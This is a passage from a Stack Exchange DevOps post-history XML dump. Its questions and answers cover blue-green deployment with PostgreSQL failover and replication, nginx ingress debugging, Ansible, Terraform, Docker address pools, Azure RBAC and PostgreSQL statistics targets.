DB`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cd $PRIMARY_DATA&#xD;&#xA;rm -f recovery.* failover  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Make sure that `hot stanby` mode is `on` on `Green DB` in `master` mode &#xD;&#xA;```&#xD;&#xA;cat postgresql.conf | grep '#hot_standby = on'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# DB replication&#xD;&#xA;&#xD;&#xA;## Make a backup of master Green DB&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;psql -c &quot;SELECT pg_start_backup('Streaming Replication', true)&quot; postgresql://postgres@GreenDB/postgres&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Send a backup to Blue DB&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;rsync -a $PG_DATA_Green_DB/ $BlueDB_IP:$PG_DATA_Blue_DB/ --exclude postmaster.pid --exclude postmaster.opts &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## See also&#xD;&#xA;&#xD;&#xA;* [Evolution of Fault Tolerance in PostgreSQL](https://www.2ndquadrant.com/en/blog/evolution-of-fault-tolerance-in-postgresql/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# DB Migration (More complex but more robust database migration scheme) &#xD;&#xA;&#xD;&#xA;You may use more complex scheme for migration using `Ansible` and `Pglupgrade tool:&#xD;&#xA;&#xD;&#xA;![](https://www.2ndquadrant.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-16.02.54.png)&#xD;&#xA;&#xD;&#xA;See for details: &#xD;&#xA;&#xD;&#xA;* [Near-Zero Downtime Automated Upgrades of PostgreSQL Clusters in Cloud (Part I)](https://www.2ndquadrant.com/blog/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud/)&#xD;&#xA;&#xD;&#xA;* [Near-Zero Downtime Automated Upgrades of PostgreSQL Clusters in Cloud (Part II)](https://www.2ndquadrant.com/en/blog/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud-part-ii/)&#xD;&#xA;&#xD;&#xA;# P.s some definitions. &#xD;&#xA;&#xD;&#xA;Just to...&#xD;&#xA;&gt; ... sort the buyers from the spyers, the needy from the greedy...&#xD;&#xA;&#xD;&#xA;And `blue/green deployment` vs `canary deployment` vs `A/B test`&#xD;&#xA;&#xD;&#xA;# Definitions, kinds of deployments and tests&#xD;&#xA;(see details in [these answers](https://stackoverflow.com/questions/23746038/canary-release-strategy-vs-blue-green) )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* **Blue-Green Deployment** - When deploying a new version of an application, a second environment is created. Once the new environment is tested, it takes over from the old version. The old environment can then be turned off.&#xD;&#xA;    &#xD;&#xA;* **A/B Testing** - Two versions of an application are running at the same time. A portion of requests go to each. Developers can then compare the versions.  &#xD;&#xA;&#xD;&#xA;* **Canary Release** - A new version of a microservice is started along with the old versions. That new version can then take a portion of the requests and the team can test how this new version interacts with the overall system.&#xD;&#xA;&#xD;&#xA;* **Feature flagging** - The action of &quot;configuring&quot; (cold, or even hot) which functionality is (not)available for which (group) of users. If you also do something like &quot;feature flagging&quot; you can deploy first, measure soundness of your release in backwards compatibility/bug perspective, and release new functionality gradually to different users, or vice versa (scale down or even rollback functionality and/or binaries). Feature flagging allows for splitting availability of functionality from deployment of binaries, and gives much more fine-grained decision making then only &quot;deploy/rollback&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# P.P.S `Blue/Green` vs `Canary`&#xD;&#xA;&#xD;&#xA;[source](https://stackoverflow.com/a/47397219/5720818)&#xD;&#xA;&#xD;&#xA;Blue/Green: [![enter image description here](https://i.stack.imgur.com/RtQRg.png)](https://i.stack.imgur.com/RtQRg.png)&#xD;&#xA;&#xD;&#xA;Canary: [![enter image description here](https://i.stack.imgur.com/bA9Xi.png)](https://i.stack.imgur.com/bA9Xi.png)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34300" PostHistoryTypeId="2" PostId="11208" RevisionGUID="074ee4cd-7073-4ac1-a892-c26401794d66" CreationDate="2020-04-01T14:35:34.233" UserId="20042" Text="# It just works&#xD;&#xA;&#xD;&#xA;You configuration is correct.&#xD;&#xA;&#xD;&#xA;Provided `YAML` file transposes to config like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;server {&#xD;&#xA; listen       80;&#xD;&#xA; server_name  example.com;&#xD;&#xA; &#xD;&#xA; location ~* &quot;^/service/test&quot; {&#xD;&#xA;   root    /var/www/example.com/htdocs;&#xD;&#xA; }&#xD;&#xA;}&#xD;&#xA;``` &#xD;&#xA;&#xD;&#xA;Testing this config via [this cool tester](https://nginx.viraptor.info/) shows that location filter works:&#xD;&#xA;&#xD;&#xA;* `http://example.com/service/test1` -&gt; `Location: ^/service/test`&#xD;&#xA;* `http://example.com/service/test` -&gt; `Location: ^/service/test`&#xD;&#xA;* `http://example.com/login` -&gt; `Errors: No locations matched`&#xD;&#xA;&#xD;&#xA;For more details, see [this explanation of Ingress Path Matching](https://github.com/kubernetes/ingress-nginx/blob/5f2f0e5db3c3defd34da943002fd6c96835efcbc/docs/user-guide/ingress-path-matching.md) and examples from [NGINX Docs](https://docs.nginx.com/nginx-ingress-controller/configuration/configuration-examples/):&#xD;&#xA;&#xD;&#xA;&gt; * [_Examples_](https://github.com/nginxinc/kubernetes-ingress/tree/v1.6.3/examples) show how to use advanced NGINX features in Ingress resources with annotations.&#xD;&#xA;&gt; * [_Examples of Custom Resources_](https://github.com/nginxinc/kubernetes-ingress/tree/v1.6.3/examples-of-custom-resources) show how to use VirtualServer and VirtualServerResources for a few use cases.&#xD;&#xA;&#xD;&#xA;# Check your app&#xD;&#xA;&#xD;&#xA;Check your app, maybe it forward non-authorized requests to `/login` url.&#xD;&#xA;You may use `curl -v` or `wget`, e.g:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;curl -v -L http://example.com/service/test1 | egrep &quot;^&gt; (Host:|GET)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;wget  http://example.com/service/test1 2&gt;&amp;1 | grep Location&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;# Howto debug `nginx ingress`&#xD;&#xA;&#xD;&#xA;There is [Nginx debug mode](http://nginx.org/en/docs/debugging_log.html) for debugging `nginx` `locations` and redirects.&#xD;&#xA;To enable it, use ` --v=5` in `kubectl edit deploy`.&#xD;&#xA;&#xD;&#xA;See: [k8s debug logging](https://kubernetes.github.io/ingress-nginx/troubleshooting/#debug-logging):&#xD;&#xA;&#xD;&#xA;[Troubleshooting - NGINX Ingress Controller](https://kubernetes.github.io/ingress-nginx/troubleshooting/)&#xD;&#xA;&#xD;&#xA;&gt; Using the flag `--v=XX` it is possible to increase the level of logging. This is performed by editing the deployment.&#xD;&#xA;&gt; &#xD;&#xA;&gt; ```&#xD;&#xA;&gt; $ kubectl get deploy -n &lt;namespace-of-ingress-controller&gt;&#xD;&#xA;&gt; NAME                       DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE&#xD;&#xA;&gt; default-http-backend       1         1         1            1           35m&#xD;&#xA;&gt; nginx-ingress-controller   1         1         1            1           35m&#xD;&#xA;&gt; &#xD;&#xA;&gt; $ kubectl edit deploy -n &lt;namespace-of-ingress-controller&gt; nginx-ingress-controller&#xD;&#xA;&gt; # Add --v=X to &quot;- args&quot;, where X is an integer&#xD;&#xA;&gt; ```&#xD;&#xA;&gt; &gt; * `--v=2` shows details using `diff` about the changes in the configuration in nginx&#xD;&#xA;&gt; * `--v=3` shows details about the service, Ingress rule, endpoint changes and it dumps the nginx configuration in JSON format&#xD;&#xA;&gt; * `--v=5` configures NGINX in [debug mode](http://nginx.org/en/docs/debugging_log.html)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34302" PostHistoryTypeId="2" PostId="11210" RevisionGUID="11b25684-ffff-4980-a5ca-03470af74cf3" CreationDate="2020-04-02T07:23:38.430" UserId="20300" Text="I have Jenkins node with below configuration for JavaPath:&#xD;&#xA;&#xD;&#xA;    /usr/java/jdk1.8.0_131/bin/java&#xD;&#xA;&#xD;&#xA;I wrote a simple Jenkins job which does the following:&#xD;&#xA;&#xD;&#xA;    #!/bin/ksh&#xD;&#xA;    echo &quot;JAVA_HOME=${JAVA_HOME}&quot;&#xD;&#xA;    echo $PATH&#xD;&#xA;&#xD;&#xA;for some reason, the output I'm getting is:&#xD;&#xA;&#xD;&#xA;    JAVA_HOME=/usr/java/jdk1.8.0_31&#xD;&#xA;&#xD;&#xA;why it doesn't use the value which used to load node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34303" PostHistoryTypeId="1" PostId="11210" RevisionGUID="11b25684-ffff-4980-a5ca-03470af74cf3" CreationDate="2020-04-02T07:23:38.430" UserId="20300" Text="JAVA home give me wrong value on Jenkins node" ContentLicense="CC BY-SA 4.0" />
  <row Id="34304" PostHistoryTypeId="3" PostId="11210" RevisionGUID="11b25684-ffff-4980-a5ca-03470af74cf3" CreationDate="2020-04-02T07:23:38.430" UserId="20300" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34306" PostHistoryTypeId="19" PostId="5157" RevisionGUID="8be47d9c-fb04-4dc4-9f39-edae862ef63d" CreationDate="2020-04-02T08:58:36.870" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]}" />
  <row Id="34307" PostHistoryTypeId="2" PostId="11211" RevisionGUID="59860e80-7283-4adb-8d2b-472c73d0467b" CreationDate="2020-04-02T10:11:43.580" UserId="21484" Text="I am trying to create a 3 node MongoDB replica set using automation (ansible or terraform) in AWS. I am able to do this in the management console of AWS, but I'm not sure how to approach it.&#xD;&#xA;&#xD;&#xA;Essentially, the script must create the instances and then set up a 3 node MongoDB replica set on them. I want to add an EBS disk on it and then maybe secure it.&#xD;&#xA;&#xD;&#xA;All of this via Ansible (or Terrafor) so I can automate it fully.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;Thanks!!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34308" PostHistoryTypeId="1" PostId="11211" RevisionGUID="59860e80-7283-4adb-8d2b-472c73d0467b" CreationDate="2020-04-02T10:11:43.580" UserId="21484" Text="Creating ec2 instances and installing mongoDB using automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="34309" PostHistoryTypeId="3" PostId="11211" RevisionGUID="59860e80-7283-4adb-8d2b-472c73d0467b" CreationDate="2020-04-02T10:11:43.580" UserId="21484" Text="&lt;ansible&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34310" PostHistoryTypeId="2" PostId="11212" RevisionGUID="24bab339-8e11-4f87-9fb0-207a235d71e5" CreationDate="2020-04-02T13:07:46.243" UserId="16638" Text="I want to limit my user assigned MSI to be able to read and write tables only in a storage account. When assigning roles on IAM blade in the portal I don't see any table related roles. Why is that? I don't wanna use any SAS. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nRWhY.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34311" PostHistoryTypeId="1" PostId="11212" RevisionGUID="24bab339-8e11-4f87-9fb0-207a235d71e5" CreationDate="2020-04-02T13:07:46.243" UserId="16638" Text="RBAC to secure Azure Table Storage access" ContentLicense="CC BY-SA 4.0" />
  <row Id="34312" PostHistoryTypeId="3" PostId="11212" RevisionGUID="24bab339-8e11-4f87-9fb0-207a235d71e5" CreationDate="2020-04-02T13:07:46.243" UserId="16638" Text="&lt;azure&gt;&lt;role-based-access-control&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34315" PostHistoryTypeId="2" PostId="11214" RevisionGUID="d483dc34-6272-49b4-b88d-9343f7881121" CreationDate="2020-04-02T13:20:56.957" UserId="20068" Text="I want to run couple of commands in ansible playbook I am trying below:&#xD;&#xA;&#xD;&#xA;     - name: Running multiple cmds&#xD;&#xA;       command:&#xD;&#xA;        - |&#xD;&#xA;          cmd2&#xD;&#xA;          cmd2&#xD;&#xA;          cmd3&#xD;&#xA;          cmd4&#xD;&#xA;&#xD;&#xA;But i am getting an error on this task while running above code.&#xD;&#xA;Can anyone help me in solving this.&#xD;&#xA;&#xD;&#xA;I am getting an error while syntax-check as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="34316" PostHistoryTypeId="1" PostId="11214" RevisionGUID="d483dc34-6272-49b4-b88d-9343f7881121" CreationDate="2020-04-02T13:20:56.957" UserId="20068" Text="How to run multiple commands with command module in Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="34317" PostHistoryTypeId="3" PostId="11214" RevisionGUID="d483dc34-6272-49b4-b88d-9343f7881121" CreationDate="2020-04-02T13:20:56.957" UserId="20068" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34321" PostHistoryTypeId="2" PostId="11216" RevisionGUID="d5c07933-b811-4516-ad05-791bf3cadec2" CreationDate="2020-04-02T14:36:33.793" UserId="354" Text="The [Ansible documentation](https://docs.ansible.com/ansible/latest/modules/command_module.html#command-module) states that the command module doesn't get a shell &#xD;&#xA;&gt; The command(s) will not be processed through the shell&#xD;&#xA;&#xD;&#xA;The `command` module takes the command as an argument, so you can't have  list as you've written there. You could do the same thing in a `loop:` with `command: {{ item }}` : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: &quot;Run {{ item }}&quot;&#xD;&#xA;  command: &quot;{{ item }}&quot;&#xD;&#xA;  loop:&#xD;&#xA;    - cmd2&#xD;&#xA;    - cmd2 &#xD;&#xA;    - cmd3&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You could also have several `command:` tasks instead.&#xD;&#xA;&#xD;&#xA;However, this is generally considered bad practice (E.g. E303 from [Ansible Lint rules](https://docs.ansible.com/ansible-lint/rules/default_rules.html)) because it tends to break idempotency. It would be better to decompose those commands into something that uses Ansible modules." ContentLicense="CC BY-SA 4.0" />
  <row Id="34322" PostHistoryTypeId="2" PostId="11217" RevisionGUID="71c07b6f-8153-4df1-964d-0e6b2a904bfe" CreationDate="2020-04-02T14:54:09.347" UserId="7646" Text="Basically I need to blacklist an IP range (and maybe multiple ranges) so that Docker can use any other IPs for its containers BUT IPs in this range.&#xD;&#xA;&#xD;&#xA;Assume I have my docker nodes in a swarm of n nodes. They are in IP range `10.1.1.0/24`. There are multiple other VMs in this IP range like a VPN Server, a firewall, etc.&#xD;&#xA;&#xD;&#xA;Can I restrict Docker from assigning IPs from this range to containers it starts?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34323" PostHistoryTypeId="1" PostId="11217" RevisionGUID="71c07b6f-8153-4df1-964d-0e6b2a904bfe" CreationDate="2020-04-02T14:54:09.347" UserId="7646" Text="Blacklist network ranges Docker is allowed to use for its containers (swarm mode)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34324" PostHistoryTypeId="3" PostId="11217" RevisionGUID="71c07b6f-8153-4df1-964d-0e6b2a904bfe" CreationDate="2020-04-02T14:54:09.347" UserId="7646" Text="&lt;docker&gt;&lt;networking&gt;&lt;docker-daemon&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34325" PostHistoryTypeId="2" PostId="11218" RevisionGUID="8c6df705-14d6-4937-8519-bbf511670b15" CreationDate="2020-04-02T15:17:43.707" UserId="7730" Text="Docker should avoid using a network if there's a route to that network (see `ip r`). You can whitelist networks that docker is allowed to use with configurations in several places:&#xD;&#xA;&#xD;&#xA;- You can adjust `bip` in `/etc/docker/daemon.json` which controls the docker bridge network named bridge. This needs to be set to a gateway ip with CIDR notation.&#xD;&#xA;- You can adjust `default-address-pools` in `/etc/docker/daemon.json` which is a list of CIDR blocks for all other bridge networks.&#xD;&#xA;- You can pass `--default-addr-pool` when initializing a swarm to a CIDR block for overlay networks.&#xD;&#xA;&#xD;&#xA;Make sure the two pools are large enough to create multiple networks, e.g. a `/16` subnet to allow creation of 256 `/24` networks.&#xD;&#xA;&#xD;&#xA;More details of this are available in my [DockerCon presentation](https://sudo-bmitch.github.io/presentations/dc2019/tips-and-tricks-of-the-captains.html#address-pools) (press `P` for presenter notes)." ContentLicense="CC BY-SA 4.0" />
  <row Id="34328" PostHistoryTypeId="5" PostId="11196" RevisionGUID="fbf4be6f-9f19-4db2-a9b1-67ce29e33ebd" CreationDate="2020-04-02T17:52:35.837" UserId="20042" Comment="formatting and tag" Text="I want to see the value of `default_statistics_target` on `postgresql` before running &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;SET default_statistics_target=1000&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Its most likely the default (100) but would like to see it. &#xD;&#xA;&#xD;&#xA;Where it can  be found ?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34329" PostHistoryTypeId="6" PostId="11196" RevisionGUID="fbf4be6f-9f19-4db2-a9b1-67ce29e33ebd" CreationDate="2020-04-02T17:52:35.837" UserId="20042" Comment="formatting and tag" Text="&lt;postgresql&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34330" PostHistoryTypeId="24" PostId="11196" RevisionGUID="fbf4be6f-9f19-4db2-a9b1-67ce29e33ebd" CreationDate="2020-04-02T17:52:35.837" Comment="Proposed by 20042 approved by 354, 40 edit id of 1177" ContentLicense="CC BY-SA 4.0" />
  <row Id="34331" PostHistoryTypeId="50" PostId="9666" RevisionGUID="dae3e181-b237-4971-a963-d48e62a717cb" CreationDate="2020-04-02T18:01:40.287" UserId="-1" />
  <row Id="34332" PostHistoryTypeId="2" PostId="11220" RevisionGUID="ed3515fe-b881-4329-b356-555bd0d6131e" CreationDate="2020-04-02T18:21:00.343" UserId="8505" Text="It's possible. I would use Terraform for creating the infrastructure on AWS and Ansible for provisioning. You will have to write .tf files and ansible-playbooks in order to do this. &#xD;&#xA;&#xD;&#xA;Just to let you know, if all 3 nodes are equal you should do the installation and provisioning once and then create an AMI to set up the rest. Maybe an [autoscaling][1] group is a possibility too. &#xD;&#xA;&#xD;&#xA;Keep in mind that AWS provides [documentdb][2] as document-oriented database as a service. It's not mongoDB but it's pretty similar (there are some functions mongo provides and docdb doesn't). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/autoscaling/ec2/userguide/AutoScalingGroup.html&#xD;&#xA;  [2]: https://aws.amazon.com/es/documentdb/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34333" PostHistoryTypeId="2" PostId="11221" RevisionGUID="72a0d564-449d-48e8-8be7-c1362b1b685b" CreationDate="2020-04-02T18:59:25.937" UserId="20042" Text="Actually, there are two questions:&#xD;&#xA;&#xD;&#xA;* Where default(100) value is declared?&#xD;&#xA;* How can I see `Stats target` value before applying `SET default_statistics_target=1000`&#xD;&#xA;&#xD;&#xA;## Where default(100) value is declared?&#xD;&#xA;&#xD;&#xA;You can see it in the [source code](https://github.com/postgres/postgres/blob/master/src/backend/utils/misc/guc.c#L2092) &#xD;&#xA;&gt; ```&#xD;&#xA;&gt; {&#xD;&#xA;&gt;		{&quot;default_statistics_target&quot;, PGC_USERSET, QUERY_TUNING_OTHER,&#xD;&#xA;&gt;			gettext_noop(&quot;Sets the default statistics target.&quot;),&#xD;&#xA;&gt;			gettext_noop(&quot;This applies to table columns that have not had a &quot;&#xD;&#xA;&gt;						 &quot;column-specific target set via ALTER TABLE SET STATISTICS.&quot;)&#xD;&#xA;&gt;		},&#xD;&#xA;&gt;		&amp;default_statistics_target,&#xD;&#xA;&gt;		100, 1, 10000,&#xD;&#xA;&gt;		NULL, NULL, NULL&#xD;&#xA;&gt;	},&#xD;&#xA;&gt; ```&#xD;&#xA;&#xD;&#xA;## How can I see `Stats target` value before applying `SET default_statistics_target=1000` ?&#xD;&#xA;&#xD;&#xA;Let's suppose that column `bar` of table `foo` has  `attstattarget=500`:&#xD;&#xA;```&#xD;&#xA;alter table foo alter column bar set statistics 500;&#xD;&#xA;```&#xD;&#xA;So, there are two ways to show `attstattarget`&#xD;&#xA;&#xD;&#xA;* SQL_query:&#xD;&#xA;```&#xD;&#xA;SELECT attrelid::regclass, attname, attstattarget FROM pg_attribute WHERE attstattarget &gt; 0 order by attstattarget desc;&#xD;&#xA;&#xD;&#xA; attrelid | attname | attstattarget&#xD;&#xA;----------+---------+---------------&#xD;&#xA; foo      | bar     |           500&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* `\d+` command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;\d+ foo&#xD;&#xA;&#xD;&#xA;                                                            Table &quot;public.foo&quot;&#xD;&#xA;          Column           |            Type             |                  Modifiers                   | Storage  | Stats target | Description&#xD;&#xA;---------------------------+-----------------------------+----------------------------------------------+----------+--------------+-------------&#xD;&#xA; bar                       | varchar                     | not null                                     | plain    | 500          |&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;** Note**: `Postgres` doesn't show `stats target` until it distinct from default value.&#xD;&#xA;&#xD;&#xA;## `300` - yet another magic number&#xD;&#xA;&#xD;&#xA;Thx to [this comment](https://dba.stackexchange.com/questions/200136/postgresql-what-the-default-statistics-target-value-really-means#comment450743_200177), you can read a [paper](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.53.1734&amp;rep=rep1&amp;type=pdf) about another magic number and check it in the [source code](https://github.com/postgres/postgres/blob/REL_11_STABLE/src/backend/commands/analyze.c#L1832):&#xD;&#xA;&#xD;&#xA;&gt; ```&#xD;&#xA;&gt; /*&#xD;&#xA;&gt; 	 * Determine which standard statistics algorithm to use&#xD;&#xA;&gt; 	 */&#xD;&#xA;&gt; 	if (OidIsValid(eqopr) &amp;&amp; OidIsValid(ltopr))&#xD;&#xA;&gt; 	{&#xD;&#xA;&gt; 		/* Seems to be a scalar datatype */&#xD;&#xA;&gt; 		stats-&gt;compute_stats = compute_scalar_stats;&#xD;&#xA;&gt; 		/*--------------------&#xD;&#xA;&gt; 		 * The following choice of minrows is based on the paper&#xD;&#xA;&gt; 		 * &quot;Random sampling for histogram construction: how much is enough?&quot;&#xD;&#xA;&gt; 		 * by Surajit Chaudhuri, Rajeev Motwani and Vivek Narasayya, in&#xD;&#xA;&gt; 		 * Proceedings of ACM SIGMOD International Conference on Management&#xD;&#xA;&gt; 		 * of Data, 1998, Pages 436-447.  Their Corollary 1 to Theorem 5&#xD;&#xA;&gt; 		 * says that for table size n, histogram size k, maximum relative&#xD;&#xA;&gt; 		 * error in bin size f, and error probability gamma, the minimum&#xD;&#xA;&gt; 		 * random sample size is&#xD;&#xA;&gt; 		 *		r = 4 * k * ln(2*n/gamma) / f^2&#xD;&#xA;&gt; 		 * Taking f = 0.5, gamma = 0.01, n = 10^6 rows, we obtain&#xD;&#xA;&gt; 		 *		r = 305.82 * k&#xD;&#xA;&gt; 		 * Note that because of the log function, the dependence on n is&#xD;&#xA;&gt; 		 * quite weak; even at n = 10^12, a 300*k sample gives &lt;= 0.66&#xD;&#xA;&gt; 		 * bin size error with probability 0.99.  So there's no real need to&#xD;&#xA;&gt; 		 * scale for n, which is a good thing because we don't necessarily&#xD;&#xA;&gt; 		 * know it at this point.&#xD;&#xA;&gt; 		 *--------------------&#xD;&#xA;&gt; 		 */&#xD;&#xA;&gt; 		stats-&gt;minrows = 300 * attr-&gt;attstattarget;&#xD;&#xA;&gt; 	}&#xD;&#xA;&gt; 	else if (OidIsValid(eqopr))&#xD;&#xA;&gt; 	{&#xD;&#xA;&gt; 		/* We can still recognize distinct values */&#xD;&#xA;&gt; 		stats-&gt;compute_stats = compute_distinct_stats;&#xD;&#xA;&gt; 		/* Might as well use the same minrows as above */&#xD;&#xA;&gt; 		stats-&gt;minrows = 300 * attr-&gt;attstattarget;&#xD;&#xA;&gt; 	}&#xD;&#xA;&gt; 	else&#xD;&#xA;&gt; 	{&#xD;&#xA;&gt; 		/* Can't do much but the trivial stuff */&#xD;&#xA;&gt; 		stats-&gt;compute_stats = compute_trivial_stats;&#xD;&#xA;&gt; 		/* Might as well use the same minrows as above */&#xD;&#xA;&gt; 		stats-&gt;minrows = 300 * attr-&gt;attstattarget;&#xD;&#xA;&gt; 	}&#xD;&#xA;&gt; ```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34334" PostHistoryTypeId="5" PostId="11207" RevisionGUID="1e0548a9-3172-47bf-ab76-29d342448f21" CreationDate="2020-04-02T19:18:52.933" UserId="20042" Comment="added 1559 characters in body" Text="As per Martin Flowers' [definition](https://martinfowler.com/bliki/BlueGreenDeployment.html) of Blue-Green deployment&#xD;&#xA;&#xD;&#xA;&gt; The blue-green deployment approach does this by ensuring you have two production environments, as identical as possible. At any time one of them, let's say blue for the example, is live. As you prepare a new release of your software you do your final stage of testing in the green environment. Once the software is working in the green environment, you switch the router so that all incoming requests go to the green environment - the blue one is now idle.&#xD;&#xA;&#xD;&#xA;# Steps&#xD;&#xA;&#xD;&#xA;You've said that DBs are synced using `master-slave` topology.&#xD;&#xA;So, to switch traffic from one instance to another, we have to make  steps:&#xD;&#xA;&#xD;&#xA;* Switch web-traffic from `APP v1` to `APP v2`&#xD;&#xA;* Shutdown deprecated `DB Blue`&#xD;&#xA;* Promote `DB Green` to `master` mode&#xD;&#xA;* Start new `DB Blue v2` in `slave` mode&#xD;&#xA;(you may ask - why shutdown `DB Blue` instead of using `master-master` replication or other ways to sync `DB Blue v1` with `DB Green` in `master` mode. See explanation in `DB replication`)&#xD;&#xA;&#xD;&#xA;## Graceful switch web-traffic&#xD;&#xA;&#xD;&#xA;To switch web-traffic from `APP v1` `APP v2` - just use `nginx reload` - it will graceful end all working connection and move traffic from `App v1` to `App v2`&#xD;&#xA;There are many scripting solutions for switch `blue/green` using shell/python scripts&#xD;&#xA;&#xD;&#xA;E.g.:&#xD;&#xA;&#xD;&#xA;* [meappy/docker-nginx-blue-green](https://github.com/meappy/docker-nginx-blue-green): Docker blue green upstreams for nginx with ngx\_http\_perl_module&#xD;&#xA;&#xD;&#xA;* [Simple 0-Downtime Blue Green Deployments](https://dan.bravender.net/2014/8/24/Simple_0-Downtime_Blue_Green_Deployments.html): Python simple 0-Downtime Blue Green Deployments example&#xD;&#xA;&#xD;&#xA;The logic is simple: add `green` upstream in `nginx` config, use it as default and send `reload` to `nginx`:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sample `nginx.conf` for `reverse proxy`/`load balancer`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;http {&#xD;&#xA;&#xD;&#xA;upstream appv1 {&#xD;&#xA;    zone appv1 64K;&#xD;&#xA;    server 10.10.0.1:80;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;upstream appv2 {&#xD;&#xA;    zone appv2 64K;&#xD;&#xA;    server 10.10.0.3:80;&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;...&#xD;&#xA;location / {&#xD;&#xA;    proxy_pass http://$appv1;&#xD;&#xA;}&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Replace `proxy_pass http://$appv1;` with `proxy_pass http://$appvv;`&#xD;&#xA;&#xD;&#xA;And then&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;nginx -s reload&#xD;&#xA;``` &#xD;&#xA;## Stop `DB Blue`&#xD;&#xA;&#xD;&#xA;`systemctl stop postgresql`&#xD;&#xA;&#xD;&#xA;## Promote `DB Green` to `master` mode&#xD;&#xA;&#xD;&#xA;* Trigger the promotion using your defined trigger in `$PGDATA/recovery.conf`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;touch $PGDATA/failover&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Remove `failover` trigger from `Green DB`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cd $PRIMARY_DATA&#xD;&#xA;rm -f recovery.* failover  &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* Make sure that `hot stanby` mode is `on` on `Green DB` in `master` mode &#xD;&#xA;```&#xD;&#xA;cat postgresql.conf | grep '#hot_standby = on'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# DB replication&#xD;&#xA;&#xD;&#xA;## Make a backup of master Green DB&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;psql -c &quot;SELECT pg_start_backup('Streaming Replication', true)&quot; postgresql://postgres@GreenDB/postgres&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## Send a backup to Blue DB&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;rsync -a $PG_DATA_Green_DB/ $BlueDB_IP:$PG_DATA_Blue_DB/ --exclude postmaster.pid --exclude postmaster.opts &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;## See also&#xD;&#xA;&#xD;&#xA;* [Evolution of Fault Tolerance in PostgreSQL](https://www.2ndquadrant.com/en/blog/evolution-of-fault-tolerance-in-postgresql/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;# DB Migration (More complex but more robust database migration scheme) &#xD;&#xA;&#xD;&#xA;You may use more complex scheme for migration using `Ansible` and `Pglupgrade tool:&#xD;&#xA;&#xD;&#xA;![](https://www.2ndquadrant.com/wp-content/uploads/2018/04/Screen-Shot-2018-04-24-at-16.02.54.png)&#xD;&#xA;&#xD;&#xA;See for details: &#xD;&#xA;&#xD;&#xA;* [Near-Zero Downtime Automated Upgrades of PostgreSQL Clusters in Cloud (Part I)](https://www.2ndquadrant.com/blog/near-zero-downtime-automated-upgrades-postgresql-clusters-cloud/)&#xD;&#xA;&#xD;&#xA;* [Near-Zero Downtime Automated Upgrades of 